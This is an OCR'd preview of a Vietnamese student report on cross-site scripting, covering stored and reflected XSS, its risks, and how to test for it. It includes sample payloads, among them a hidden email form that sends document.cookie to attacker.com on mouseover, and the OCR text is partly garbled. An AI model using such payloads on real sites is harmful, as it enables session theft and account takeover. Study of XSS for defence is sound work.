1. Trang chủ
  2. » Luận Văn - Báo Cáo

Báo cáo Môn học an ninh mạng Kỹ thuật tấn công XSS

28 553 0
Tài liệu được quét OCR, nội dung có thể không chính xác

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 28
Dung lượng 4,98 MB

Nội dung

Cross-Site Scripting XSS là một trong những kĩ thuật tắn công phố biến nhất hiện nay, đồng thời nó cũng là một trong những vẫn đề bảo mật quan trọng đối với các nhà phát triển web và cả

Trang 1

Giảng uiên hướng dẫn : ThS LỄ PHÚC

Sinh uiên thực hiện : TRẦN ĐÌNH NGỌC MãSYV: 307170045

Lớp : D07THMI1

Trang 2

AN NINH MANG

Muc luc

I GIỚI THIỆU CHUNG . ¿6E tt SE £EEEEEE 3x11 3132313 11.1 xe 4

II GIỚI THIỆU VỀ XSS © ¿SE ESE SE BE E113 1313111111111 1311 1111 trưng 5

1 Tìm hiểu XSS ch 1 111011011 11111101 1 T111 HH gi gi gàng dư 5

2 Hai hình thức tôn tại của XSS - 5c cà St TRE 110111 11 1 01H gi gi ưu 5

2.1 Stored XSS vvcccccccccscccccsccsccsscsscssceeeeeesseaeeaeeeeeseeseeseeeseusssssssseeseesssseseesseseeeeseees 5

"ÁN ›{2jIvï.°0.©5đđaaiđaầaaaiaiiiiiaaiii 6

3 Mức độ nguy hiểm của XXSS - - «tt KT ng g1 nh, 7

4 Mục tiêu mà XSS hướng tỚI - c c0 1 TK TH nọ kh 8

IV.CẢNH GIÁC VỚI XSS : h1 HT 1111 11111 HH gu HH grg 12

V KIEM TRA LOI XSS 2-56 SE E1 E1 11111113 121111 1 Tá gái g ngư 14

2 Thử bằng COdC - - - set T31 91911 101011 101111111111 11 1111 n1 gu ro 14

VI KHAI THÁC LỖI XSS . :- - 2 St EEEkEkEEEEEEEEEEEEEEEE E1 rrr, 16

1.Tóm tắt các bước thực hiện -:-c- tt se k1S31v S8 SeESESESEEESEEESESEEeEeEektsssssrssssssrses 17

2.1 Nghiên cứu cách lẫy €OOKi€S: - - - 6ê St SE KT ng 18 2.2.Nghiên cứu cách lẫy aCCOUII -G- - kESkkEt S9 SE vn 18

2.3 Tân Công XSS Băng Flash -G- © St T1 Htgggngnn 19

3 Attacker dùng XSS để lừa đảO - - cách HT TH nung ng rào 22

Trang 3

AN NINH MANG

VIL PHONG CHONG XSS - - Sư ST TH HT ngàn chư, 23

1 Với những dữ liệu người thiết kế và phát triển ứng dụng Web 23

2 Đối với người dùng - tt 1E TT T3 Tưng ng gu 26

VIII PHAM VI VA TINH KHA THI CUA PHUONG PHAP TAN CONG BANG XSS

TX DANH GUA wieccccccccccccccccsssccscsccsccscsecsesecsecsessesssscsacsasessesasacsassessesasacsacsusacsavaessesucaesaens 27 TAI LIEU THAM KHAO: uececcccccssssscscscscscscsccssscscssscecsssscsssesssssessvasasacasscessassvsaeacacsenees 28

Trang 4

AN NINH MANG

I GIỚI THIỆU CHUNG

Website ngày nay rất phức tạp và thường là các web động, nội dung của web được cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới Và hâu hết các website này dùng Cookie để xác thực người dùng

Điều này đồng nghĩa với việc Cookie của ai thì người đó dùng, Nếu lấy được

Cookie người dùng nào Hacker sẽ giả mạo được chính người dùng đó(điều này là hết sức nguy hiểm) Vậy làm sao để các hacker có thể lẫy cookie của bạn? Có rất nhiều

cách để các hacker làm việc đó, ở đây tôi xin trình bày một trong những cách mà

hacker thường dùng, đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS)

Cross-Site Scripting (XSS) là một trong những kĩ thuật tắn công phố biến nhất hiện nay, đồng thời nó cũng là một trong những vẫn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web Bất kì một website nào cho

phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã

nguy hiểm thì đều có thê tiềm ân các lỗi XSS

X55 được thực hiện trên các thé JavaScript, va các thẻ JavaScript chúng có thê làm

được những công việc sau:

1 Thay đổi cẫu trúc của toàn bộ trang web

Trang 5

chèn vào các website động (ASP, PHP, CGI, JSP .) những thẻ HTML hay những đoạn

mã script nguy hiểm có khả năng đánh cắp hay thiết lập được những thông tin quan trong nhu cookies, mat khẩu, usename Trong đó, những đoạn mã nguy hiểm duoc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML

và cũng có thể là cả các thẻ HTML

Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tắn công trên chính

máy người sử dụng Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết

hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị

mất thông tin một cách dễ dàng

Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript,

JavaScript được thực thi trên chính trình duyệt của nạn nhân

2 Hai hình thức tồn tại của XSS

2.1 Stored XSS

Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tân công có thể chèn

một đoạn script nguy hiểm (thường là Javascript) vào website của chúng ta thông qua một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài ), để từ đó khi các thành viên khác truy cập website sẽ bị dính mã độc tử kẻ tan công này, các mã độc này thường được lưu lại trong database của website chúng ta nên gọi là Stored Stored X5S phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách đúng đắn, khiến cho mã độc được lưu vào Database của website

Trang 6

AN NINH MANG [GUE

Trong hình thức này, kẻ tấn công thường gắn thêm đoạn mã độc vào URL của

website chúng ta và gởi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính

mã độc Điều này xảy ra do ta không chú ý filter input từ URL của website mình

Attacker sends URL Link via email or embedded in

another web page to the victim

IBM Compatible

r Victim clicks link and requests page (with

malicious script as parameters}

webserver returns the page embedded with

the script the attacker chase

victims web browser then

executes the script

Trang 7

AN NINH MANG

Tấn công XSS là tân công nguy hiểm, cho phép kẻ tấn công ăn cắp thông tin trên

máy nạn nhân thông qua javascript như ăn cắp cookie, chèn mã độc để chiến quyền

điều khiến

XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi

này, chính vì thế ngày càng có nhiều người quan tâm đến lỗi này

Gần đây, theo Brian Krebs của tờ Washington Post báo cáo rằng hàng ngàn trang web không an toàn đã được xác định vào năm ngoái, và trang Xssed.com đựa ra danh sách gan 13.000 trang trong đó có nhiều lỗ hỗng cross-site scripting (XSS)

Ví dụ 1: Một đoạn url mà hacker chèn Script vào để lây cookie của người đùng

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te xt=%3Cscript%3Ealert%28document.cookie%29%3C%2F script%3E

3 Mức độ nguy hiểm của XSS

Theo thống kê về các lỗ hồng bảo mật thường bị tân công nhất vào năm 2009

Web Vulnerabilities by Class

Q1-Q2 2009

7%

25%

LJ SQL Injection

— ae BB Path (Directory)

Traversal wed Browser

17%

12%

14%

Trang 8

AN NINH MANG [ES

Cross-Site Scripting @XSS) chiếm một tỉ lệ rất cao so với các phương pháp tân công

khác

Kĩ thuật XSS được mô tả lần đầu tiên cách đây 5 năm (từ năm 2007 đến 2011) và hầu

hết các khả năng tiềm ân của kĩ thuật này đã được biết đến Tuy nhiên chúng ta mới

chỉ khắc phục được một phân của nó Không phải vô tình mà Yahoo Mail lại để sót

một lỗi XSS trong bộ lọc của mình Một phương pháp tôi ưu vẫn còn đang ở phía

trước

4 Mục tiêu mà XSS hướng tới

X55 khai thác thường được sử dụng đê đạt được các kết quả độc hại sau đây:

* Truy cập thông tin nhạy cảm hoặc bị hạn chế

* Ăn cắp tiền (giao dịch ngân hàng, mua hàng online )

* Theo đối thói quen lướt web của người dùng

* Thay đổi năng của trình duyệt

* Bôi nhọ danh tiếng của một cá nhân hay công ty

* Hủy hoại ứng dụng Web

* Tân công từ chối dịch vụ

Trang 9

AN NINH MANG [ES

II.HOẠT ĐỘNG CỦA XSS

XSS cho phép attacker chèn các đoạn mã vào link của đường dẫn, đề thực hiện

trên trình duyệt của người dùng, dẫn đến việc mất cookies, mật khẩu, session hay

Ở trên ví dụ 1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào

trang Web thông qua URL Nhưng thực sự thì có rất nhiều cách để thêm

đoạn mã JavaScript với mục đích tấn công kiểu XSS Hacker có thể dễ dàng

loi dung Document Object Model (DOM) đề thay đôi ngữ cảnh và nội dụng Web

Trang 10

AN NINH MANG

<div style="background-image: url(javascript:[code]);">

<div style="behaviour: url((lién két to code]);">

<div style="binding: url([lién két to code]);">

<div style="width: expression([code]);">

Phân in đậm là phân có thể đặt đoạn mã đánh cắp thông tỉn

Về cơ bản XSS cũng giống như SQL Injection hay Source Injection, nó cũng là

các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server

Nó có thê là một request duoc gui tt các form dữ liệu hoặc cũng có thê đó chỉ là các

URL như là :

http://www.example.com/search.cgi?query=<script>alert("XSS was found

L);</script>

Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !"

Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thê thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ script Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của

các lỗi XSS

Nhưng nếu như các kĩ thuật tấn công khác có thê làm thay đổi được dữ liệu

nguồn của web server (mã nguồn, câu trúc, cơ sở dữ liệu) thì XSS chỉ gây tốn hại đối

Trang 11

AN NINH MANG

với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó Tắt nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng

đó vẫn chỉ tấn công vào bề mặt của websitc

Thật vậy, X5SS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi

trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm

trên server

Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các

hacker để lại họ có thể bị chuyên tới các website khác, đặt lại homepage, hay nặng

hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm

Trong kĩ thuật XSS thường thì các link mà hacker dùng đều đã được mã hóa nên ngưới dùng khó mà phát hiện ra Sau đây là cách mã hoá(HEX) các kí tự thường dùng trong lỗi XSS của thanh AddressBar của Browser

Trang 12

IV.CANH GIAC VOI XSS

Có lẽ không cần liệt kê những nguy hiểm của XSS, nhưng trên thực tế nêu bạn

có một chút hiểu biết về XSS bạn sẽ không còn phải sợ chúng nữa Thật vậy bạn hoàn toàn có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó

Các thẻ HTML đều có thê là công cụ cho các cuộc tan công bởi kĩ thuật XSS,

trong đó 2 thẻ IMG và IFRAME có thê cho phép trình duyệt của bạn load thêm các

website khác khi các lệnh HTML được hiển thị Ví dụ như BadTrans Worm một loại

worm sử dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay

Trang 13

thư mà không hè cảnh giác với XSS, đâu phải chỉ các file đính kèm mới có thể gây

nguy hiểm cho bạn Chỉ cần với một đoạn mã HTML, gửi trong thư bạn đã hoàn toàn

bị mất cookie của mình:

<form action="http://attacker.com/save.asp" method="post" name="XSS">

<input type="hidden" name="cookie">

</form>

<img border="0" onmouseover="window.document.XSS.cookie.value =

document.cookie; window.document.XSS.submit();" src="none.jpg">

Vậy là khi bạn nhận thư, va nếu bạn vô tình đưa con chuột qua bức ảnh gửi kèm

thì cũng có nghĩa là bạn đã bị lấy mất cookie Và với cookie lây được, các hacker có

thé dé dang login hom thu cua ban ma khong cần biết mật khẩu của bạn Thực sự tôi cũng rất bất ngờ khi tìm thấy rằng Yahoo khi đó đã ngăn được hầu hết các mỗi đc

doạ từ các thẻ HTML lại bỏ qua thẻ IMG Tuy nhiên cho tới ngày 12/7/2003 Yahoo

đã kịp thời vá lỗ hồng nghiêm trọng này, nhưng không phải vì vậy mà bạn mất cảnh giác với những "lỗi" của website Nếu như bạn gặp một liên kết có dạng:

http://example.com/s document.cookie)</script>

Chắc chắn bạn sẽ phải xem xét kĩ trước khi click vào Có thể là sẽ tat JavaScript cho trình duyệt của bạn trước khi click vào hay ít nhất cũng có một chút cảnh giác Nhưng nếu bạn gặp một liên kết như thế này thì sao:

http://example.com/s 72% 79%3D<script>

Trang 14

AN NINH MANG

Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hoá Một

phân kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn hiểu địa chỉ đó thực sự là gì Bởi vậy bạn có thể sẽ gặp phải các đoạn mã

nguy hiểm nếu như bạn mất cảnh giác với XSS

Tât nhiên còn rât nhiêu những kiêu tân công khác, trong đó có những kiêu đã được tìm ra có những kiêu chưa lường hêt được, những trong khuôn khô bài viet nay tôi hi vọng với một vài ví dụ vừa rôi, các bạn cũng đã hiêu phân nào vê XSS

V KIEM TRA LOI XSS

Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn

có thể tham khảo danh sách các lỗ hồng của chương trình bạn trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com Tuy nhiên nếu các website được tự viết mã nguồn thì bạn không thể áp dụng phương pháp trên Trong trường hợp này bạn cần đến các chương trình scanner tự động Nếu như bạn sử dụng trong môi trường Windows bạn có thê dùng N-Stealth hay AppScan, đó là những chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó

còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó

Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS Đó là một Perl

Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của bạn Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows

Và chúng ta có thể đưa ra hai cách chính sau:

1 Sử dụng Tool

Sử dụng nhiều chương trình đò quét lỗi của ứng dụng web, ví dụ như chương

trình Web Vulnerability Scanner để dò quét lỗi XSS

2 Thử bằng Code

Thực hiện 5 bước:

Bước 1: Mở website cần kiểm tra

Bước 2: Xác định các chỗ (phần) cần kiểm tra XSS 1 Site bất kỳ bao giờ cũng có

Ngày đăng: 07/12/2016, 09:52

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w